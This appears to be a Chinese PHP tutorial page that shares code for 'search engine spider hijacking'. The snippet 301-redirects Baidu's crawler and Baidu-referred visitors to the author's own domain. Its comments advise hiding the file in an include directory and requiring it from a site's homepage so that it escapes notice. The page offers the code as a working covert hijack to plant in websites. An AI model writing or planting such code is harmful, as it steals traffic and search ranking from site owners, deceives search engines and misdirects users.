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Homephp教程PHP源码php搜索引擎劫持,百度蜘蛛劫持,搜索引擎蜘蛛劫持原理及代码分享

php代码

################################################ 
 # 可以把本文件放在类似inc、include这样的目录中 # 
 # 首页require_once('本文件路径');就可以了 # 
 # 这样会比较隐蔽 # 
 ################################################ 
$url = "http://www.dahuzhi.com";  //你的网站
 if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'baiduspider') !== false ) 
 { 
    //判断搜索引擎,这里是百度,可以自行添加蜘蛛 
    
    //这是301跳转,301主要针对搜索引擎,如果你想告诉搜索引擎这个页面已经更换URL了的话... 
    Header("HTTP/1.1 301 Moved Permanently"); 
    Header("Location: $url"); 
    
    /* 
    $file = file_get_contents($url); 
    echo $file;//输出指定文件内容 
    exit; */ 
 } 
 //判断来路 
 if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) 
 {
    //如果用户来自baidu.com 
    Header("HTTP/1.1 301 Moved Permanently"); 
    Header("Location: $url");//跳转 
    exit; 
 }

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